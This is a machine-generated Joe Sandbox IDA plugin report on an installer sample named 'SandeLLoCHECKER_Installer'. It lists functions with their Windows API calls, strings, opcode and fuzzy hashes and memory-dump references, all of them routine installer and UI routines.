Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 00c433be412b31353b15f07f66931dddb18376dfa2e44271071c500d81ccf39b
Instruction ID: 5b4745bca7044317f93e7ec5683c07da4b5b9ccc65ddc13d380473675b6af16a
Opcode Fuzzy Hash: 00c433be412b31353b15f07f66931dddb18376dfa2e44271071c500d81ccf39b
Instruction Fuzzy Hash: 9DE04F30389248BBEB201BA4EC06F993B5DAB20B50F200432FA0CE84E1EB71AD919645

Function 00867770 Relevance: 6.3, APIs: 4, Instructions: 321windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001037,00000000,00000000), ref: 008678B8
SendMessageW.USER32(?,00001036,00000000,00000000), ref: 008678CD

Part of subcall function 0084A8A0: RtlAllocateHeap.NTDLL(?,00000000,?,C7BA013E,00000000,00A3DE90,000000FF,?,?,00B277EC,?,009A5D66,8000000B,C7BA013E), ref: 0084A8EA

Part of subcall function 0093EE40: SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000037,?,?,?,000000EF,?,00867908,00000000,80004005), ref: 0093EEA8
Part of subcall function 0093EE40: SendMessageW.USER32(?,00000030,00000000,00000001), ref: 0093EED8

SendMessageW.USER32(?,0000101C,00000000,00000000), ref: 00867A03
SendMessageW.USER32(?,00001061,00000000,00000005), ref: 00867AFF

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: MessageSend$AllocateHeapWindow
String ID:
API String ID: 3168177373-0
Opcode ID: de47b376081617dfa4ed6fc8c292333079c61e5482d0316c582944b8546a403f
Instruction ID: 569abfdba5981961756aeb554fb84af7b4952659e653798e7f60d0f90c888a52
Opcode Fuzzy Hash: de47b376081617dfa4ed6fc8c292333079c61e5482d0316c582944b8546a403f
Instruction Fuzzy Hash: BBC19171A00209EFDB14DFA8C989BEEFBB5FF48314F144219E415AB290DB74A944CB90

Function 00855C10 Relevance: 6.3, APIs: 4, Instructions: 269memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,?), ref: 00855CDA
SysFreeString.OLEAUT32(00000000), ref: 00855D26
SysFreeString.OLEAUT32(00000000), ref: 00855D48
SysFreeString.OLEAUT32(00000000), ref: 00855EA3

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: f8786d74dbe5f62b1bd2086c4886707afd0acefa1809f6eb0d395f1dedbe1271
Instruction ID: 37307102d1ac0510b1a7573bb7cf9ef8d6122d0e9f3f8215b278eaa9b11e5818
Opcode Fuzzy Hash: f8786d74dbe5f62b1bd2086c4886707afd0acefa1809f6eb0d395f1dedbe1271
Instruction Fuzzy Hash: 0CA18371A0060ADFDB14DF98CC58BAEBBB8FF44715F104529E915D7280DB74AA05CB61

Function 0085C480 Relevance: 6.1, APIs: 4, Instructions: 127COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 0085C55C
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0085C56B

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CapsDevice
String ID:
API String ID: 328075279-0
Opcode ID: 070674ddc64f19da9f56bdcbc03b82331bc9d1dbb3a158d9246d22a572ac350f
Instruction ID: 718c04a32f5808d20bbb4c265d3525db6b59a3c750f3a490a71b698b0ff68029
Opcode Fuzzy Hash: 070674ddc64f19da9f56bdcbc03b82331bc9d1dbb3a158d9246d22a572ac350f
Instruction Fuzzy Hash: B551F77590034A9FDB20DFA5C848BAA7BB4FF08311F104529F915E7280EB389945CF54

Function 00868A40 Relevance: 6.1, APIs: 4, Instructions: 125COMMON

Download Yara Rule

APIs

GetWindowDC.USER32(?,C7BA013E,?,00000000,?,?,?,?,?,00000000,00A44635,000000FF,?,00868802,?,?), ref: 00868A82
GetWindowRect.USER32(?,?), ref: 00868AA1
DeleteObject.GDI32(00000000), ref: 00868B61
DeleteDC.GDI32(?), ref: 00868B84

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: DeleteWindow$ObjectRect
String ID:
API String ID: 1993412026-0
Opcode ID: f56fcb68a63673e7eaa8d31f518ea38a248a23dd0134c309bdbc05a42d4ffe17
Instruction ID: 35dd735dd4b9163bd69a9633c5fc8b859d44d5cece2b38114252e2379122b52f
Opcode Fuzzy Hash: f56fcb68a63673e7eaa8d31f518ea38a248a23dd0134c309bdbc05a42d4ffe17
Instruction Fuzzy Hash: 44415C71A00219EFDB10DFA9DD48BAEBBB9FB89311F104229F905A3290CB746D01CB64

Function 008745D0 Relevance: 6.1, APIs: 4, Instructions: 108windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000C5,?,00000000), ref: 0087461B
GetClientRect.USER32(?,?), ref: 0087464D
GetDC.USER32(?), ref: 00874660
GetDeviceCaps.GDI32(00000000), ref: 00874667

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CapsClientDeviceMessageRectSend
String ID:
API String ID: 3507044913-0
Opcode ID: 14fe230e53607c248bcf051013eb99a94b840b2c276c645ccf75a80fd1d81d39
Instruction ID: 7b2a4caf838b5825834620ad64b722b89c0bc8556b0f5da594b4ac8f0c346d04
Opcode Fuzzy Hash: 14fe230e53607c248bcf051013eb99a94b840b2c276c645ccf75a80fd1d81d39
Instruction Fuzzy Hash: 7F419D326043459FE721DF78CC06F9AB7E9AF89300F004B29F549E71A0EB70A945CB92

Function 009ABBD0 Relevance: 6.1, APIs: 4, Instructions: 85COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 009ABC1A
GetDeviceCaps.GDI32(00000000,0000005A), ref: 009ABC2D
GetDC.USER32(00000000), ref: 009ABC87
GetDeviceCaps.GDI32(00000000,0000005A), ref: 009ABC9A

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CapsDevice
String ID:
API String ID: 328075279-0
Opcode ID: a563053699fdf8a0d3cfb933d7b4d4ac08fb30f1b7ed9b257d07baf52ed3c006
Instruction ID: 2641a1dc695fb28d2783f83886d24da17e9f7ff73fb16d9c97012cdb6dc13cfb
Opcode Fuzzy Hash: a563053699fdf8a0d3cfb933d7b4d4ac08fb30f1b7ed9b257d07baf52ed3c006
Instruction Fuzzy Hash: C3316EB1910615EED712DF74DC45B6AB7BCFF1A3A5F108336E416E3291EB305942CA50

Function 00863C10 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,C7BA013E), ref: 00863C7A
EnterCriticalSection.KERNEL32(?,C7BA013E), ref: 00863C87
LeaveCriticalSection.KERNEL32(?), ref: 00863CD8

Strings

v, xrefs: 00863CD8

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID: v
API String ID: 3991485460-3261393531
Opcode ID: 3929ec50c315bd612f20cab93950de9ccc0adef88f0f9c4f7f3fd3ec28f58b5b
Instruction ID: f0aee9c7dc7773cc00c152ea639f41ca7e26479b48e3b4220b509ef2996ce2b6
Opcode Fuzzy Hash: 3929ec50c315bd612f20cab93950de9ccc0adef88f0f9c4f7f3fd3ec28f58b5b
Instruction Fuzzy Hash: 8821A336A002449FDF11DF64DC45BE9BBB4FB16324F1502B9E859EB392D7325A06CB60

Function 00863B50 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,C7BA013E,?), ref: 00863BAD
EnterCriticalSection.KERNEL32(?,C7BA013E,?), ref: 00863BBA
LeaveCriticalSection.KERNEL32(?), ref: 00863BE2

Strings

v, xrefs: 00863BE2

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID: v
API String ID: 3991485460-3261393531
Opcode ID: 2bd535b7cd2a29215c6291fa9c358943188e6676b154cf4c4611015a1c040fa5
Instruction ID: 2f136baf7fbc8947ba09c8fc07d8ac6c26bdfddae3c216e2fd648d365bc69458
Opcode Fuzzy Hash: 2bd535b7cd2a29215c6291fa9c358943188e6676b154cf4c4611015a1c040fa5
Instruction Fuzzy Hash: 2021DA36904244DFCF01CF64D840BE9BBB4FB55334F1102A9D855E7352D7325A09CB90

Function 00A13B96 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00A13B9D
std::_Lockit::_Lockit.LIBCPMT ref: 00A13BA8
std::_Lockit::~_Lockit.LIBCPMT ref: 00A13C16

Part of subcall function 00A13CF8: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00A13D10

std::locale::_Setgloballocale.LIBCPMT ref: 00A13BC3

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_Setgloballocale
String ID:
API String ID: 677527491-0
Opcode ID: b3150081365aca82ace9fe1062a5a49dbb97f28270d744301bb3bb248b87c87f
Instruction ID: 96988f386f1b44ba48f3e015a60925c30e3215a052f283833a340202bda3a561
Opcode Fuzzy Hash: b3150081365aca82ace9fe1062a5a49dbb97f28270d744301bb3bb248b87c87f
Instruction Fuzzy Hash: BC015A76A002219BCF05EF60E955ABD7BB5BF84750B244029E911AB391CF74AF82CBC1

Function 00854330 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 231windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,AtlAxWin140,?,?,?,80000000,00000000,00000000,?,00000000,00000000), ref: 008543A6
SendMessageW.USER32(?,00000000,00000000), ref: 008544A2

Part of subcall function 00855E00: SysFreeString.OLEAUT32(00000000), ref: 00855EA3

Strings

AtlAxWin140, xrefs: 0085439E

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CreateFreeMessageSendStringWindow
String ID: AtlAxWin140
API String ID: 4045344427-3842940177
Opcode ID: e9cf54f81cacd7bdab06f3b5eafc6736cff8ad18cf04467ffc230c2341916f52
Instruction ID: e45c17b7368fded770dbff095ce20e9cdaea75808af34cb72d1c9588b5cd6fc1
Opcode Fuzzy Hash: e9cf54f81cacd7bdab06f3b5eafc6736cff8ad18cf04467ffc230c2341916f52
Instruction Fuzzy Hash: F3911274600205AFDB14CF68C888B6ABBB9FF49724F1085A8F919DB291DB71E905CB50

Function 009940C0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

Part of subcall function 0084ABE0: GetProcessHeap.KERNEL32 ref: 0084AC35
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084AC67
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084ACF2

CloseHandle.KERNEL32(?,C7BA013E,000000C9,00000000), ref: 00994243
DeleteCriticalSection.KERNEL32(?,C7BA013E,000000C9,00000000), ref: 009942D1

Strings

<< Advanced Installer (x86) Log >>, xrefs: 009941AF

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Init_thread_footer$CloseCriticalDeleteHandleHeapProcessSection
String ID: << Advanced Installer (x86) Log >>
API String ID: 3699736680-396061572
Opcode ID: ef6dbcf4d5c297fca8aa0081a300114857d482fa7a7ee762e0ed93b119281f0c
Instruction ID: a4ece6f43ceae1e0fb6ac3ad577dc8f40da6390b87edf2000f9c4b168a873754
Opcode Fuzzy Hash: ef6dbcf4d5c297fca8aa0081a300114857d482fa7a7ee762e0ed93b119281f0c
Instruction Fuzzy Hash: 1A61ED71A00649DFDB01CF6CC908B5EBBF8FF95314F248299E4019B791DB74AA05CBA1

Function 009B6730 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 151COMMON

Download Yara Rule

APIs

OpenEventW.KERNEL32(00000000,00000000,C7BA013E,_pbl_evt,00000008,?,?,00AC270C,00000001,C7BA013E,00000000), ref: 009B67DE
CreateEventW.KERNEL32(00000000,00000001,00000001,?), ref: 009B67FB

Strings

_pbl_evt, xrefs: 009B67B2

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Event$CreateOpen
String ID: _pbl_evt
API String ID: 2335040897-4023232351
Opcode ID: 6b6c3869cb2fc16a348e08682fb2a4f2a15fa181696b92e199e140877c9cbcdc
Instruction ID: f18f5a3f6f83ee5ca9f32379ab7915ffc8a39e5bb276ed86c024acb3284973e4
Opcode Fuzzy Hash: 6b6c3869cb2fc16a348e08682fb2a4f2a15fa181696b92e199e140877c9cbcdc
Instruction Fuzzy Hash: 2B518271D10609EFDB10DF68CD46BEEB7B8FF04720F508229E811A7280EB746A45CB95

Function 00886310 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0088633B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0088639E

Strings

bad locale name, xrefs: 008863C1

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: e64d65300becd52f7d46d8690526208ff9262f1d84a9b01834b0e8b7cab3fea4
Instruction ID: 662a829eaf81734180154d0d3bab588d1d599a182e83e192b5fcd675198e585c
Opcode Fuzzy Hash: e64d65300becd52f7d46d8690526208ff9262f1d84a9b01834b0e8b7cab3fea4
Instruction Fuzzy Hash: CB21DE70A05784DED721CF68C90474BBBE4AF15714F14869EE445C7B81D7B5AA08C7A1

Function 00A131B5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,00A130FA,0000001C,00A132EF,00000000,?,?,?,?,?,?,?,00A130FA,00000004,00B2F954,00A1337F), ref: 00A131C6
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,00A130FA,00000004,00B2F954,00A1337F), ref: 00A131E1

Strings

D, xrefs: 00A131D5

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: f6547e6262ddb08602da84ddd9944797788a6809de9d77cf87a0df59b3b12f77
Instruction ID: 89930cdf3a5a563fac428da191b1c688a91c60063a2f664ff3dbb16f4470d80f
Opcode Fuzzy Hash: f6547e6262ddb08602da84ddd9944797788a6809de9d77cf87a0df59b3b12f77
Instruction Fuzzy Hash: 1E01F773700109ABCF14DF69DC05BDD7BAAAFC5324F1CC221EE19D7244EA34D9428680

Function 00A20092 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__alldvrm.LIBCMT ref: 00A200AF
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A200D4

Strings

Df, xrefs: 00A200A8, 00A200D1

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Unothrow_t@std@@@__alldvrm__ehfuncinfo$??2@
String ID: Df
API String ID: 3107155309-381112559
Opcode ID: 62f07188e76c5965496c506f9e2b439d44607c8f5dc6f1a37caf7df8bfbe0a86
Instruction ID: 24785fe06cc160fd5fec33cb30f8a9472f6dfec98b07f1b3ae0f9b898319a68a
Opcode Fuzzy Hash: 62f07188e76c5965496c506f9e2b439d44607c8f5dc6f1a37caf7df8bfbe0a86
Instruction Fuzzy Hash: 14F05277644204BFDB202B91AC86F8FBB6EDBC8765F244020B208E72A0D9719C0093A4

Function 008689AF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

GetParent.USER32(0000000F), ref: 008689E2

Strings

C:\ReleaseAI\stubs\setup\controls\generic\VisualStyleBorder.h, xrefs: 008689C7
Unknown exception, xrefs: 008689B7

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Parent
String ID: C:\ReleaseAI\stubs\setup\controls\generic\VisualStyleBorder.h$Unknown exception
API String ID: 975332729-9186675
Opcode ID: 06095d424a36f16296aafd9343f637ad9960bd6b9f2ed011bccd653fcf003670
Instruction ID: e7f32b49dd56546893dfdb05284df2ee2b8efb686852d7c20b441f18089eee81
Opcode Fuzzy Hash: 06095d424a36f16296aafd9343f637ad9960bd6b9f2ed011bccd653fcf003670
